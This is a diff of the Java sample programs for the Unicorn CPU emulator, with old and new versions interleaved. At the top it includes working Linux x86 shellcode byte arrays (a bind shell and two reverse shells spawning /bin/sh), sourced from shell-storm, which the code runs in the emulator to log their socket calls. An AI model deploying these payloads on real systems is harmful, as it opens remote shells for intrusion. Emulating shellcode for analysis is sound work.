public static final byte[] X86_BIND_TCP = {106,102,88,106,1,91,49,-10,86,83,106,2,-119,-31,-51,-128,95,-105,-109,-80,102,86,102,104,5,57,102,83,-119,-31,106,16,81,87,-119,-31,-51,-128,-80,102,-77,4,86,87,-119,-31,-51,-128,-80,102,67,86,86,87,-119,-31,-51,-128,89,89,-79,2,-109,-80,63,-51,-128,73,121,-7,-80,11,104,47,47,115,104,104,47,98,105,110,-119,-29,65,-119,-54,-51,-128};
// http://shell-storm.org/shellcode/files/shellcode-883.php
public static final byte[] X86_REVERSE_TCP = {106,102,88,106,1,91,49,-46,82,83,106,2,-119,-31,-51,-128,-110,-80,102,104,127,1,1,1,102,104,5,57,67,102,83,-119,-31,106,16,81,82,-119,-31,67,-51,-128,106,2,89,-121,-38,-80,63,-51,-128,73,121,-7,-80,11,65,-119,-54,82,104,47,47,115,104,104,47,98,105,110,-119,-29,-51,-128};
// http://shell-storm.org/shellcode/files/shellcode-849.php
public static final byte[] X86_REVERSE_TCP_2 = {49,-64,49,-37,49,-55,49,-46,-80,102,-77,1,81,106,6,106,1,106,2,-119,-31,-51,-128,-119,-58,-80,102,49,-37,-77,2,104,-64,-88,1,10,102,104,122,105,102,83,-2,-61,-119,-31,106,16,81,86,-119,-31,-51,-128,49,-55,-79,3,-2,-55,-80,63,-51,-128,117,-8,49,-64,82,104,110,47,115,104,104,47,47,98,105,-119,-29,82,83,-119,-31,82,-119,-30,-80,11,-51,-128};
for (Long orig_fd : __linking_fds.keySet()) {
if (__linking_fds.get(orig_fd).contains(fd))
return orig_fd;
}
return -1;
}
// memory address where emulation starts
public static final int ADDRESS = 0x1000000;
public void print_report() {
System.out.printf("\n----------------");
System.out.printf("\n| START REPORT |");
System.out.printf("\n----------------\n\n");
for (Long fd : __chains.keySet()) {
System.out.printf("---- START FD(%d) ----\n", fd);
System.out.println(join(__chains.get(fd), "\n"));
System.out.printf("---- END FD(%d) ----\n", fd);
}
System.out.printf("\n--------------");
System.out.printf("\n| END REPORT |");
System.out.printf("\n--------------\n\n");
}
}
// end supported classes
public static String join(ArrayList<String> l, String sep) {
boolean first = true;
StringBuilder res = new StringBuilder();
for (String s : l) {
if (!first) {
res.append(sep);
}
res.append(s);
first = false;
}
return res.toString();
}
// utilities
static String read_string(Unicorn uc, long addr) {
StringBuilder ret = new StringBuilder();
char c;
do {
c = (char) (uc.mem_read(addr++, 1)[0] & 0xff);
if (c != 0) {
ret.append(c);
}
} while (c != 0);
private static class LogChain {
public Hashtable<Long, ArrayList<String>> __chains = new Hashtable<Long, ArrayList<String>>();
public Hashtable<Long, ArrayList<Long>> __linking_fds = new Hashtable<Long, ArrayList<Long>>();
return ret.toString();
}
public void clean() {
__chains.clear();
__linking_fds.clear();
}
static String parse_sock_address(byte[] sock_addr) {
int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff;
public void create_chain(long id) {
if (!__chains.containsKey(id)) {
__chains.put(id, new ArrayList<String>());
}
else {
System.out.printf("LogChain: id %d existed\n", id);
}
}
if (sin_family == 2) { // AF_INET
int sin_port =
((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff;
return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff,
sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff,
sin_port);
} else if (sin_family == 6) // AF_INET6
return "";
return null;
}
public void add_log(long id, String msg) {
long fd = get_original_fd(id);
if (fd != -1) {
__chains.get(fd).add(msg);
}
else {
System.out.printf("LogChain: id %d doesn't exist\n", id);
}
}
static void print_sockcall(String msg) {
System.out.printf(">>> SOCKCALL %s\n", msg);
}
// end utilities
public void link_fd(long from_fd, long to_fd) {
if (!__linking_fds.containsKey(to_fd)) {
__linking_fds.put(to_fd, new ArrayList<Long>());
}
__linking_fds.get(to_fd).add(from_fd);
}
public long get_original_fd(long fd) {
if (__chains.containsKey(fd)) {
return fd;
}
for (Long orig_fd : __linking_fds.keySet()) {
if (__linking_fds.get(orig_fd).contains(fd))
return orig_fd;
}
return -1;
}
static void test_i386(byte[] code) {
fd_chains.clean();
System.out.printf("Emulate i386 code\n");
try {
// Initialize emulator in X86-32bit mode
Unicorn mu = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
public void print_report() {
System.out.printf("\n----------------");
System.out.printf("\n| START REPORT |");
System.out.printf("\n----------------\n\n");
for (Long fd : __chains.keySet()) {
System.out.printf("---- START FD(%d) ----\n", fd);
System.out.println(join(__chains.get(fd), "\n"));
System.out.printf("---- END FD(%d) ----\n", fd);
}
System.out.printf("\n--------------");
System.out.printf("\n| END REPORT |");
System.out.printf("\n--------------\n\n");
}
}
// end supported classes
// map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// utilities
static String read_string(Unicorn uc, long addr) {
StringBuilder ret = new StringBuilder();
char c;
do {
c = (char)(uc.mem_read(addr++, 1)[0] & 0xff);
if (c != 0) {
ret.append(c);
}
} while (c != 0);
return ret.toString();
}
// write machine code to be emulated to memory
mu.mem_write(ADDRESS, code);
static String parse_sock_address(byte[] sock_addr) {
int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff;
if (sin_family == 2) { // AF_INET
int sin_port = ((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff;
return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff, sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff, sin_port);
}
else if (sin_family == 6) // AF_INET6
return "";
return null;
}
// initialize stack
mu.reg_write(Unicorn.UC_X86_REG_ESP, ADDRESS + 0x200000L);
static void print_sockcall(String msg) {
System.out.printf(">>> SOCKCALL %s\n", msg);
}
// end utilities
// handle interrupt ourself
mu.hook_add(new MyInterruptHook(), null);
static void test_i386(byte[] code) {
fd_chains.clean();
System.out.printf("Emulate i386 code\n");
try {
// Initialize emulator in X86-32bit mode
Unicorn mu = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
// map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
mu.mem_write(ADDRESS, code);
// initialize stack
mu.reg_write(Unicorn.UC_X86_REG_ESP, ADDRESS + 0x200000L);
// handle interrupt ourself
mu.hook_add(new MyInterruptHook(), null);
// emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + code.length, 0, 0);
// now print out some registers
System.out.printf(">>> Emulation done\n");
// emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + code.length, 0, 0);
} catch (UnicornException uex) {
System.out.printf("ERROR: %s\n", uex.getMessage());
}
// now print out some registers
System.out.printf(">>> Emulation done\n");
fd_chains.print_report();
}
public static void main(String args[]) {
test_i386(X86_SEND_ETCPASSWD);
test_i386(X86_BIND_TCP);
test_i386(X86_REVERSE_TCP);
test_i386(X86_REVERSE_TCP_2);
}
} catch (UnicornException uex) {
System.out.printf("ERROR: %s\n", uex.getMessage());
}
fd_chains.print_report();
}
public static void main(String args[]) {
test_i386(X86_SEND_ETCPASSWD);
test_i386(X86_BIND_TCP);
test_i386(X86_REVERSE_TCP);
test_i386(X86_REVERSE_TCP_2);
}
}

View File

@@ -7,124 +7,125 @@ import unicorn.*;
public class Sample_arm {
// code to be emulated
public static final byte[] ARM_CODE = {55,0,(byte)0xa0,(byte)0xe3,3,16,66,(byte)0xe0}; // mov r0, #0x37; sub r1, r2, r3
public static final byte[] THUMB_CODE = {(byte)0x83, (byte)0xb0}; // sub sp, #0xc
// memory address where emulation starts
public static final int ADDRESS = 0x10000;
// code to be emulated
public static final byte[] ARM_CODE =
{ 55, 0, (byte) 0xa0, (byte) 0xe3, 3, 16, 66, (byte) 0xe0 }; // mov r0, #0x37; sub r1, r2, r3
public static final byte[] THUMB_CODE = { (byte) 0x83, (byte) 0xb0 }; // sub sp, #0xc
public static final long toInt(byte val[]) {
long res = 0;
for (int i = 0; i < val.length; i++) {
long v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
// memory address where emulation starts
public static final int ADDRESS = 0x10000;
private static class MyBlockHook implements BlockHook {
public void hook(Unicorn u, long address, int size, Object user_data)
{
System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size));
}
}
// callback for tracing instruction
private static class MyCodeHook implements CodeHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size));
}
}
static void test_arm()
{
Long r0 = 0x1234L; // R0 register
Long r2 = 0x6789L; // R1 register
Long r3 = 0x3333L; // R2 register
Long r1; // R1 register
System.out.print("Emulate ARM code\n");
// Initialize emulator in ARM mode
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_ARM);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, ARM_CODE);
// initialize machine registers
u.reg_write(Unicorn.UC_ARM_REG_R0, r0);
u.reg_write(Unicorn.UC_ARM_REG_R2, r2);
u.reg_write(Unicorn.UC_ARM_REG_R3, r3);
// tracing all basic blocks with customized callback
u.hook_add(new MyBlockHook(), 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0);
// now print out some registers
System.out.print(">>> Emulation done. Below is the CPU context\n");
r0 = (Long)u.reg_read(Unicorn.UC_ARM_REG_R0);
r1 = (Long)u.reg_read(Unicorn.UC_ARM_REG_R1);
System.out.print(String.format(">>> R0 = 0x%x\n", r0.intValue()));
System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue()));
u.close();
}
static void test_thumb()
{
Long sp = 0x1234L; // R0 register
System.out.print("Emulate THUMB code\n");
// Initialize emulator in ARM mode
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_THUMB);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, THUMB_CODE);
// initialize machine registers
u.reg_write(Unicorn.UC_ARM_REG_SP, sp);
// tracing all basic blocks with customized callback
u.hook_add(new MyBlockHook(), 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS | 1, ADDRESS + THUMB_CODE.length, 0, 0);
// now print out some registers
System.out.print(">>> Emulation done. Below is the CPU context\n");
sp = (Long)u.reg_read(Unicorn.UC_ARM_REG_SP);
System.out.print(String.format(">>> SP = 0x%x\n", sp.intValue()));
u.close();
}
public static void main(String args[])
{
test_arm();
System.out.print("==========================\n");
test_thumb();
}
public static final long toInt(byte val[]) {
long res = 0;
for (int i = 0; i < val.length; i++) {
long v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
private static class MyBlockHook implements BlockHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(
">>> Tracing basic block at 0x%x, block size = 0x%x\n", address,
size));
}
}
// callback for tracing instruction
private static class MyCodeHook implements CodeHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
address, size));
}
}
static void test_arm() {
Long r0 = 0x1234L; // R0 register
Long r2 = 0x6789L; // R1 register
Long r3 = 0x3333L; // R2 register
Long r1; // R1 register
System.out.print("Emulate ARM code\n");
// Initialize emulator in ARM mode
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_ARM);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, ARM_CODE);
// initialize machine registers
u.reg_write(Unicorn.UC_ARM_REG_R0, r0);
u.reg_write(Unicorn.UC_ARM_REG_R2, r2);
u.reg_write(Unicorn.UC_ARM_REG_R3, r3);
// tracing all basic blocks with customized callback
u.hook_add(new MyBlockHook(), 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0);
// now print out some registers
System.out.print(">>> Emulation done. Below is the CPU context\n");
r0 = (Long) u.reg_read(Unicorn.UC_ARM_REG_R0);
r1 = (Long) u.reg_read(Unicorn.UC_ARM_REG_R1);
System.out.print(String.format(">>> R0 = 0x%x\n", r0.intValue()));
System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue()));
u.close();
}
static void test_thumb() {
Long sp = 0x1234L; // R0 register
System.out.print("Emulate THUMB code\n");
// Initialize emulator in ARM mode
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_THUMB);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, THUMB_CODE);
// initialize machine registers
u.reg_write(Unicorn.UC_ARM_REG_SP, sp);
// tracing all basic blocks with customized callback
u.hook_add(new MyBlockHook(), 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS | 1, ADDRESS + THUMB_CODE.length, 0, 0);
// now print out some registers
System.out.print(">>> Emulation done. Below is the CPU context\n");
sp = (Long) u.reg_read(Unicorn.UC_ARM_REG_SP);
System.out.print(String.format(">>> SP = 0x%x\n", sp.intValue()));
u.close();
}
public static void main(String args[]) {
test_arm();
System.out.print("==========================\n");
test_thumb();
}
}

View File

@@ -28,88 +28,90 @@ import unicorn.*;
public class Sample_arm64 {
// code to be emulated
public static final byte[] ARM_CODE = {-85,1,15,-117}; // add x11, x13, x15
// memory address where emulation starts
public static final int ADDRESS = 0x10000;
public static final long toInt(byte val[]) {
long res = 0;
for (int i = 0; i < val.length; i++) {
long v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
// code to be emulated
public static final byte[] ARM_CODE = { -85, 1, 15, -117 }; // add x11, x13, x15
public static final byte[] toBytes(long val) {
byte[] res = new byte[8];
for (int i = 0; i < 8; i++) {
res[i] = (byte)(val & 0xff);
val >>>= 8;
}
return res;
}
// callback for tracing basic blocks
private static class MyBlockHook implements BlockHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size));
}
}
// callback for tracing instruction
private static class MyCodeHook implements CodeHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size));
}
}
static void test_arm64()
{
Long x11 = 0x1234L; // X11 register
Long x13 = 0x6789L; // X13 register
Long x15 = 0x3333L; // X15 register
System.out.print("Emulate ARM64 code\n");
// Initialize emulator in ARM mode
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, ARM_CODE);
// initialize machine registers
u.reg_write(Unicorn.UC_ARM64_REG_X11, x11);
u.reg_write(Unicorn.UC_ARM64_REG_X13, x13);
u.reg_write(Unicorn.UC_ARM64_REG_X15, x15);
// tracing all basic blocks with customized callback
u.hook_add(new MyBlockHook(), 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0);
// now print out some registers
System.out.print(">>> Emulation done. Below is the CPU context\n");
x11 = (Long)u.reg_read(Unicorn.UC_ARM64_REG_X11);
System.out.print(String.format(">>> X11 = 0x%x\n", x11.longValue()));
u.close();
}
public static void main(String args[])
{
test_arm64();
}
// memory address where emulation starts
public static final int ADDRESS = 0x10000;
public static final long toInt(byte val[]) {
long res = 0;
for (int i = 0; i < val.length; i++) {
long v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
public static final byte[] toBytes(long val) {
byte[] res = new byte[8];
for (int i = 0; i < 8; i++) {
res[i] = (byte) (val & 0xff);
val >>>= 8;
}
return res;
}
// callback for tracing basic blocks
private static class MyBlockHook implements BlockHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(
">>> Tracing basic block at 0x%x, block size = 0x%x\n", address,
size));
}
}
// callback for tracing instruction
private static class MyCodeHook implements CodeHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
address, size));
}
}
static void test_arm64() {
Long x11 = 0x1234L; // X11 register
Long x13 = 0x6789L; // X13 register
Long x15 = 0x3333L; // X15 register
System.out.print("Emulate ARM64 code\n");
// Initialize emulator in ARM mode
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, ARM_CODE);
// initialize machine registers
u.reg_write(Unicorn.UC_ARM64_REG_X11, x11);
u.reg_write(Unicorn.UC_ARM64_REG_X13, x13);
u.reg_write(Unicorn.UC_ARM64_REG_X15, x15);
// tracing all basic blocks with customized callback
u.hook_add(new MyBlockHook(), 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0);
// now print out some registers
System.out.print(">>> Emulation done. Below is the CPU context\n");
x11 = (Long) u.reg_read(Unicorn.UC_ARM64_REG_X11);
System.out.print(String.format(">>> X11 = 0x%x\n", x11.longValue()));
u.close();
}
public static void main(String args[]) {
test_arm64();
}
}

View File

@@ -28,150 +28,161 @@ import unicorn.*;
public class Sample_m68k {
// code to be emulated
public static final byte[] M68K_CODE = {118,-19}; // movq #-19, %d3
// memory address where emulation starts
public static final int ADDRESS = 0x10000;
public static final long toInt(byte val[]) {
long res = 0;
for (int i = 0; i < val.length; i++) {
long v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
// code to be emulated
public static final byte[] M68K_CODE = { 118, -19 }; // movq #-19, %d3
public static final byte[] toBytes(long val) {
byte[] res = new byte[8];
for (int i = 0; i < 8; i++) {
res[i] = (byte)(val & 0xff);
val >>>= 8;
}
return res;
}
// callback for tracing basic blocks
private static class MyBlockHook implements BlockHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size));
}
}
// callback for tracing instruction
private static class MyCodeHook implements CodeHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size));
}
}
static void test_m68k()
{
Long d0 = 0x0000L; // d0 data register
Long d1 = 0x0000L; // d1 data register
Long d2 = 0x0000L; // d2 data register
Long d3 = 0x0000L; // d3 data register
Long d4 = 0x0000L; // d4 data register
Long d5 = 0x0000L; // d5 data register
Long d6 = 0x0000L; // d6 data register
Long d7 = 0x0000L; // d7 data register
// memory address where emulation starts
public static final int ADDRESS = 0x10000;
Long a0 = 0x0000L; // a0 address register
Long a1 = 0x0000L; // a1 address register
Long a2 = 0x0000L; // a2 address register
Long a3 = 0x0000L; // a3 address register
Long a4 = 0x0000L; // a4 address register
Long a5 = 0x0000L; // a5 address register
Long a6 = 0x0000L; // a6 address register
Long a7 = 0x0000L; // a6 address register
public static final long toInt(byte val[]) {
long res = 0;
for (int i = 0; i < val.length; i++) {
long v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
Long pc = 0x0000L; // program counter
Long sr = 0x0000L; // status register
System.out.print("Emulate M68K code\n");
// Initialize emulator in M68K mode
Unicorn u = new Unicorn(Unicorn.UC_ARCH_M68K, Unicorn.UC_MODE_BIG_ENDIAN);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, M68K_CODE);
// initialize machine registers
u.reg_write(Unicorn.UC_M68K_REG_D0, d0);
u.reg_write(Unicorn.UC_M68K_REG_D1, d1);
u.reg_write(Unicorn.UC_M68K_REG_D2, d2);
u.reg_write(Unicorn.UC_M68K_REG_D3, d3);
u.reg_write(Unicorn.UC_M68K_REG_D4, d4);
u.reg_write(Unicorn.UC_M68K_REG_D5, d5);
u.reg_write(Unicorn.UC_M68K_REG_D6, d6);
u.reg_write(Unicorn.UC_M68K_REG_D7, d7);
u.reg_write(Unicorn.UC_M68K_REG_A0, a0);
u.reg_write(Unicorn.UC_M68K_REG_A1, a1);
u.reg_write(Unicorn.UC_M68K_REG_A2, a2);
u.reg_write(Unicorn.UC_M68K_REG_A3, a3);
u.reg_write(Unicorn.UC_M68K_REG_A4, a4);
u.reg_write(Unicorn.UC_M68K_REG_A5, a5);
u.reg_write(Unicorn.UC_M68K_REG_A6, a6);
u.reg_write(Unicorn.UC_M68K_REG_A7, a7);
u.reg_write(Unicorn.UC_M68K_REG_PC, pc);
u.reg_write(Unicorn.UC_M68K_REG_SR, sr);
// tracing all basic blocks with customized callback
u.hook_add(new MyBlockHook(), 1, 0, null);
// tracing all instruction
u.hook_add(new MyCodeHook(), 1, 0, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS, ADDRESS + M68K_CODE.length, 0, 0);
// now print out some registers
System.out.print(">>> Emulation done. Below is the CPU context\n");
d0 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D0);
d1 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D1);
d2 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D2);
d3 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D3);
d4 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D4);
d5 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D5);
d6 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D6);
d7 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D7);
public static final byte[] toBytes(long val) {
byte[] res = new byte[8];
for (int i = 0; i < 8; i++) {
res[i] = (byte) (val & 0xff);
val >>>= 8;
}
return res;
}
a0 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A0);
a1 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A1);
a2 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A2);
a3 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A3);
a4 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A4);
a5 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A5);
a6 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A6);
a7 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A7);
pc = (Long)u.reg_read(Unicorn.UC_M68K_REG_PC);
sr = (Long)u.reg_read(Unicorn.UC_M68K_REG_SR);
System.out.print(String.format(">>> A0 = 0x%x\t\t>>> D0 = 0x%x\n", a0.intValue(), d0.intValue()));
System.out.print(String.format(">>> A1 = 0x%x\t\t>>> D1 = 0x%x\n", a1.intValue(), d1.intValue()));
System.out.print(String.format(">>> A2 = 0x%x\t\t>>> D2 = 0x%x\n", a2.intValue(), d2.intValue()));
System.out.print(String.format(">>> A3 = 0x%x\t\t>>> D3 = 0x%x\n", a3.intValue(), d3.intValue()));
System.out.print(String.format(">>> A4 = 0x%x\t\t>>> D4 = 0x%x\n", a4.intValue(), d4.intValue()));
System.out.print(String.format(">>> A5 = 0x%x\t\t>>> D5 = 0x%x\n", a5.intValue(), d5.intValue()));
System.out.print(String.format(">>> A6 = 0x%x\t\t>>> D6 = 0x%x\n", a6.intValue(), d6.intValue()));
System.out.print(String.format(">>> A7 = 0x%x\t\t>>> D7 = 0x%x\n", a7.intValue(), d7.intValue()));
System.out.print(String.format(">>> PC = 0x%x\n", pc.intValue()));
System.out.print(String.format(">>> SR = 0x%x\n", sr.intValue()));
u.close();
}
public static void main(String args[])
{
test_m68k();
}
// callback for tracing basic blocks
private static class MyBlockHook implements BlockHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(
">>> Tracing basic block at 0x%x, block size = 0x%x\n", address,
size));
}
}
// callback for tracing instruction
private static class MyCodeHook implements CodeHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
address, size));
}
}
static void test_m68k() {
Long d0 = 0x0000L; // d0 data register
Long d1 = 0x0000L; // d1 data register
Long d2 = 0x0000L; // d2 data register
Long d3 = 0x0000L; // d3 data register
Long d4 = 0x0000L; // d4 data register
Long d5 = 0x0000L; // d5 data register
Long d6 = 0x0000L; // d6 data register
Long d7 = 0x0000L; // d7 data register
Long a0 = 0x0000L; // a0 address register
Long a1 = 0x0000L; // a1 address register
Long a2 = 0x0000L; // a2 address register
Long a3 = 0x0000L; // a3 address register
Long a4 = 0x0000L; // a4 address register
Long a5 = 0x0000L; // a5 address register
Long a6 = 0x0000L; // a6 address register
Long a7 = 0x0000L; // a6 address register
Long pc = 0x0000L; // program counter
Long sr = 0x0000L; // status register
System.out.print("Emulate M68K code\n");
// Initialize emulator in M68K mode
Unicorn u =
new Unicorn(Unicorn.UC_ARCH_M68K, Unicorn.UC_MODE_BIG_ENDIAN);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, M68K_CODE);
// initialize machine registers
u.reg_write(Unicorn.UC_M68K_REG_D0, d0);
u.reg_write(Unicorn.UC_M68K_REG_D1, d1);
u.reg_write(Unicorn.UC_M68K_REG_D2, d2);
u.reg_write(Unicorn.UC_M68K_REG_D3, d3);
u.reg_write(Unicorn.UC_M68K_REG_D4, d4);
u.reg_write(Unicorn.UC_M68K_REG_D5, d5);
u.reg_write(Unicorn.UC_M68K_REG_D6, d6);
u.reg_write(Unicorn.UC_M68K_REG_D7, d7);
u.reg_write(Unicorn.UC_M68K_REG_A0, a0);
u.reg_write(Unicorn.UC_M68K_REG_A1, a1);
u.reg_write(Unicorn.UC_M68K_REG_A2, a2);
u.reg_write(Unicorn.UC_M68K_REG_A3, a3);
u.reg_write(Unicorn.UC_M68K_REG_A4, a4);
u.reg_write(Unicorn.UC_M68K_REG_A5, a5);
u.reg_write(Unicorn.UC_M68K_REG_A6, a6);
u.reg_write(Unicorn.UC_M68K_REG_A7, a7);
u.reg_write(Unicorn.UC_M68K_REG_PC, pc);
u.reg_write(Unicorn.UC_M68K_REG_SR, sr);
// tracing all basic blocks with customized callback
u.hook_add(new MyBlockHook(), 1, 0, null);
// tracing all instruction
u.hook_add(new MyCodeHook(), 1, 0, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS, ADDRESS + M68K_CODE.length, 0, 0);
// now print out some registers
System.out.print(">>> Emulation done. Below is the CPU context\n");
d0 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D0);
d1 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D1);
d2 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D2);
d3 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D3);
d4 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D4);
d5 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D5);
d6 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D6);
d7 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D7);
a0 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A0);
a1 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A1);
a2 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A2);
a3 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A3);
a4 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A4);
a5 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A5);
a6 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A6);
a7 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A7);
pc = (Long) u.reg_read(Unicorn.UC_M68K_REG_PC);
sr = (Long) u.reg_read(Unicorn.UC_M68K_REG_SR);
System.out.print(String.format(">>> A0 = 0x%x\t\t>>> D0 = 0x%x\n",
a0.intValue(), d0.intValue()));
System.out.print(String.format(">>> A1 = 0x%x\t\t>>> D1 = 0x%x\n",
a1.intValue(), d1.intValue()));
System.out.print(String.format(">>> A2 = 0x%x\t\t>>> D2 = 0x%x\n",
a2.intValue(), d2.intValue()));
System.out.print(String.format(">>> A3 = 0x%x\t\t>>> D3 = 0x%x\n",
a3.intValue(), d3.intValue()));
System.out.print(String.format(">>> A4 = 0x%x\t\t>>> D4 = 0x%x\n",
a4.intValue(), d4.intValue()));
